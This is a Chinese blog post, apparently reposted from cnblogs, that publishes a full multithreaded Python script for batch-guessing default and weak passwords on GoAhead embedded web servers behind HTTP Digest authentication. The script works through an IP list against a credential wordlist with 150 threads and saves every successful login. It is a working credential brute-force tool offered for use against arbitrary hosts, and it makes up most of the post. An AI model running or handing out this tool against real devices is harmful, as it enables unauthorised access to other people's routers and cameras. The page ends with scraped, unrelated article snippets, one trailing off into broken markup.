批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令

  最近在学习用python写爬虫工具,某天偶然发现GoAhead系列服务器的登录方式跟大多数网站不一样,不是采用POST等方法,通过查找资料发现GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。大多数GoAhead服务器采用了HTTP Digest认证方式,并且部分服务器采用了默认账号密码,于是萌生了针对GoAhead编写爬虫的想法,通过近8个小时的编程与调试,勉强写出了个简陋的脚本,现在拿出来分享,给刚接触python的新手参考下,也请求路过的大神指点下,哈哈。

  该脚本对新手来说难点在于如何让python自动填写账号密码并登录,本人花了近两个小时参考了很多网站,觉得用python的第三方模块requests中的get()函数最方便,只需填写URL、认证方式和账号密码即可模拟登录。

  另一个难点就是多线程了,不过对于用其它语言写过多线程的人来说还是挺容易的,不懂的可以自己查资料,这里就不多说了。

  下面附上完整代码:

from requests.auth import HTTPDigestAuth
import requests
import threading
import sys
import os
import time

ip_file_name = ‘ip.txt‘
password_file_name = ‘password.txt‘
results_file_name = ‘results.txt‘
ip_count = 0
thread_count = 0
default_thread_count = 150
local = threading.local()

#read ip_file
def get_ip():
    if os.path.exists(os.getcwd() + ‘/‘ + ip_file_name):
        with open(ip_file_name, ‘r‘) as r:
            list = []
            for line in r.readlines():
                line = line.strip(‘\n‘)
                line = ‘http://‘ + line
                list.append(line)
            r.close()
            return list
    else:
        print(‘ip file doesn\‘t exist!\n‘)
        os._exit(-1)

#read password_file
def get_password():
    if os.path.exists(os.getcwd() + ‘/‘ + password_file_name):
        with open(password_file_name, ‘r‘) as pa:
            list = []
            for line in pa.readlines():
                line = line.strip(‘\n‘)
                list.append(line)
            pa.close()
        return list
    else:
        print(‘password file doesn\‘t exist!\n‘)
        os._exit(-1)

class MyThread(threading.Thread):
    def __init__(self, thread_index, ip_list, pass_list, results_file):
        threading.Thread.__init__(self)
        self.thread_index = thread_index
        self.ip_list = ip_list
        self.pass_list = pass_list
        self.results_file = results_file

    def run(self):
        local.thread_index = self.thread_index
        #Calculate the number of tasks assigned.
        if ip_count <= default_thread_count:
            local.my_number = 1
        else:
            local.my_number = (int)(ip_count/thread_count)
            if ip_count%thread_count > thread_index:
                local.my_number = local.my_number + 1

        for local.times in range(local.my_number):
            try:
                local.ip = self.ip_list[(local.times-1)*thread_count+local.thread_index]
                #Check whether the target is a digest authentication.
                local.headers = str(requests.get(local.ip, timeout=6).headers)
                if ‘Digest‘ not in local.headers:
                    continue
            except BaseException:
                ‘‘‘
                e = sys.exc_info()
                print(e)
                ‘‘‘
                continue
            #Loop to submit account password.
            for local.user in self.pass_list:
                #sleep 0.1 second to prevent overloading of target
                time.sleep(0.1)
                #Get the account password by cutting local.user
                local.colon_index = local.user.find(‘:‘)
                if local.colon_index == -1:
                    print(local.user+‘ doesn\‘t Conform to the specifications‘)
                    os._exit(1)
                local.username = local.user[0:local.colon_index]
                local.password = local.user[local.colon_index+1:]
                if local.password == ‘<empty>‘:
                    local.password = ‘‘
                try:
                    local.timeouts = 0
                    #Start Digest authentication
                    local.code = requests.get( local.ip, auth=HTTPDigestAuth(local.username, local.password), timeout=5 )
                    #If the status code is 200,the login is success
                    if local.code.status_code == 200 :
                        print(‘login ‘+local.ip+‘ success!‘)
                        self.results_file.writelines(local.ip+‘ ‘+local.username+‘ ‘+local.password+‘\n‘)
                        break
                except BaseException:
                        ‘‘‘
                        e = sys.exc_info()
                        print(str(local.thread_index)+‘ ‘+local.ip+‘ ‘+local.username+‘ ‘+local.password)
                        print(e)
                        ‘‘‘
                        #If the times of timeout is too many, check the next IP.
                        local.timeouts += 1
                        if local.timeouts == 15:
                            local.timeouts = 0
                            break
                        else:
                            continue

if __name__ == ‘__main__‘:

    ip_list = get_ip()
    pass_list = get_password()

    if len(ip_list)==0 or len(pass_list)==0:
        print(‘please fill ip, username or password file‘)
        os._exit(-1)

    ip_count = len(ip_list)
    if ip_count <= default_thread_count:
        thread_count = ip_count
    else:
        thread_count = default_thread_count

    print(‘start to work...‘)
    #create threads and run
    threads = []
    with open(results_file_name, mode=‘a‘) as results_file:
        for thread_index in range(thread_count):
            thread = MyThread(thread_index, ip_list, pass_list, results_file)
            thread.start()
            threads.append(thread)
        for thread in threads:
            #wait for all threads to end
            thread.join()
        results_file.close()

    print(‘All work has been completed.‘)

  该脚本的运行流程为:

  1.读取ip.txt、password.txt文件中的内容

  2.创建线程并运行

  3.每个线程对其分配到的IP进行循环认证,先检查目标是否存在且为Digest认证方式,若为真则开始循环登录,登录过程中若多次超时则跳过对该IP的检查

  4.当服务器返回200状态码时则表示登录成功,将IP和账号密码写入results.txt,并循环检查下一个IP

  5.当所有线程将分配到的所有IP检查完毕,则程序运行完毕

原文地址:https://www.cnblogs.com/RNGorgeous/p/8410974.html

时间: 2024-07-30 06:19:11

批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令的相关文章

ssh 服务器之间公钥认证方式的配置

前言 项目中需要编写脚本在服务器之间上传或者下载文件,但没有相关服务器来测试脚本,于是就着手安装两台server,然后用ssh的相关命令去配置server之间公钥认证登录. 步骤 1. 在VM Box下面安装两台Linux Server,并且都选用了桥接的网络类型,这样两台server会有自己独立的IP 2. 当前server上使用ssh命令去连接另外一台server,由于公钥认证登录还没有配置,这时候是需要输入password才可以登录 命令: ssh [user]@[hostname|ip]

服务器遭受攻击的方式与服务器受到攻击应该怎么办

安全报道显示2015年DDoS攻击强度创下新纪录,那么DDoS到底是什么呢?了解一些,对产品经理与后台的同事沟通有好处. 分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力. 如何理解DDoS攻击 一群恶霸试图让对面那家有着竞争关系的商铺无法正常营业,他们会采取什么手段呢?(只为举例,切勿模仿) 恶霸们扮作普通客户一直拥挤在对手的商

Java 实现 SSH 协议的客户端登录认证方式--转载

背景 在开篇之前,让我们先对 SSH 协议有个宏观的大致了解,这样更有利于我们对本文的加深了解.首先要提到的就是计算机网络协议,所谓计算机网络协议,简单的说就是定义了一套标准和规则,使得不同计算机之间能够进行正常的网络通信,不至于出现在一台机器上发出的指令到另一台机器上成了不可认的乱码,SSH 就是众多协议的其中之一.经典的七层 OSI 模型(Open System Interconnection Reference Model)出现后,大大地解决了网络互联的兼容性问题,它将网络划分成服务.接口

Linux的弱口令检测

在internet环境中,过于简单的口令会使服务器面临重要的风险.作为管理人员的我们应及时找出那些密码强度较弱的用户账户,便于进行下一步的安全措施.我们可以安装John the Ripper 软件进行检测用户的密码强度.下面我们来介绍一下如何安装弱口令扫描工具,并作测试.一. 实验前的步骤挂载windows共享出来的文件夹,并对共享的文件夹下的John the Ripper进行安装.被挂载端的步骤如下: 右击被共享的文件,文件中有弱扫描安装包John the Ripper 选择"属性"

弱口令检测——John the Ripper

在网络环境中,过于简单的口令是服务器面临的最大风险,对于一个承担安全责任的服务器管理员来说,及时找到一些弱口令帐户是非常必要的,这样便于采取进一步安全措施(提醒帐户重设更安全的口令密码)John the Ripper 是一款开源的密码破解工具,能够在已知密文的情况下快速分析出明文的密码字串,同样也允许使用密码字典进行暴力破解.所以通过这个工具可以检测linux系统用户的密码强度首先在官方网站(http://www.openwall.com/john/)下载好源码包,以redhat6.5系统的虚拟

在MVC中实现和网站不同服务器的批量文件下载以及NOPI下载数据到Excel的简单学习

嘿嘿,我来啦,最近忙啦几天,使用MVC把应该实现的一些功能实现了,说起来做项目,实属感觉蛮好的,即可以学习新的东西,又可以增加自己之前知道的知识的巩固,不得不说是双丰收啊,其实这周来就开始面对下载在挣扎啦,不知道从哪下手,而且自己针对一个文件下载的小小练习还是写过的,但是和项目中的下载完全就是两个世界,所以我只能抱着学习的心情查找资料啦,刚开始由于leader没有说怎么个下载的办法,我只能自己看些有关下载的资料啦,周一只是在猜测的学习,然后通过询问各路大神.就新学习了NOPI,当我看到Nopi下

http 登录Digest认证相关知识

Digest access authentication https://en.wikipedia.org/wiki/Digest_access_authentication Digest access authentication is one of the agreed-upon methods a web server can use to negotiate credentials, such as username or password, with a user's web brow

服务器中很多的CLOSE_WAIT

服务器中很多的CLOSE_WAIT,请教各位大虾!!!!!!!!!最近遇到一个问题,工程在LINUX服务器上面跑起来了以后,运行一段时间 就有很多的CLOSE_WAIT链接,多了之后,网站就访问不了了,多半是程序的原因,我想从这方面入手,查看服务器JBOSS宕机之前在访问网站的那些 页面,看是那些页面引起的,再去查看代码,在下是LINUX新手,在服务器中怎么查看访问的页面信息,那些页面正在访问,这样好排查问题一些,请教各位大 侠!!!!!! 分享到: ------解决方案------------

Bash漏洞批量检测工具与修复方案

&amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" title="shellshock-bug-bash-bashbug-938x535.jpg"/&amp;amp;gt;&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/span&amp;amp;gt;&a